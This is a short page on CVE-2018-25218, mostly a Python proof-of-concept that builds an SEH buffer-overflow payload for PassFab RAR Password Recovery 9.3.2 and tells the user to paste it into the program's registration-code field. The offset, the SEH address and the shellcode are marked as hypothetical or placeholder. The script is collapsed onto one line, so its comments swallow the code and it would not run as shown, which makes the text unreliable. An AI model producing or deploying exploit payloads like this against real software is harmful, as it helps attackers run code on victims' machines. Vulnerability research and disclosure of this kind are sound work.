CVE-2018-25218 PassFab SEH缓冲区溢出漏洞

#!/usr/bin/env python # Proof of Concept for CVE-2018-25218 # Generates a malicious payload for PassFab RAR Password Recovery 9.3.2 import sys def generate_payload(): # Offset to SEH structure (Hypothetical value for demonstration) offset = 1000 # NSEH (Next SEH) - Short jump to shellcode (\xEB\x06\x90\x90) nseh = b"\xEB\x06\x90\x90" # SEH - Address of POP POP RET instruction (Hypothetical) # Needs to be from a module without ASLR/DEP seh = b"\xAF\x11\x50\x62" # Shellcode (Example: Calc.exe) # Placeholder shellcode shellcode = b"\xCC" * 300 # Construct payload: Junk + NSEH + SEH + Shellcode payload = b"A" * offset + nseh + seh + shellcode return payload if __name__ == "__main__": payload = generate_payload() print(f"[+] Payload generated (Length: {len(payload)})") print("[!] Copy the output below and paste into the 'Licensed E-mail and Registration Code' field.") try: print(payload.decode('latin-1')) except Exception as e: print(repr(payload))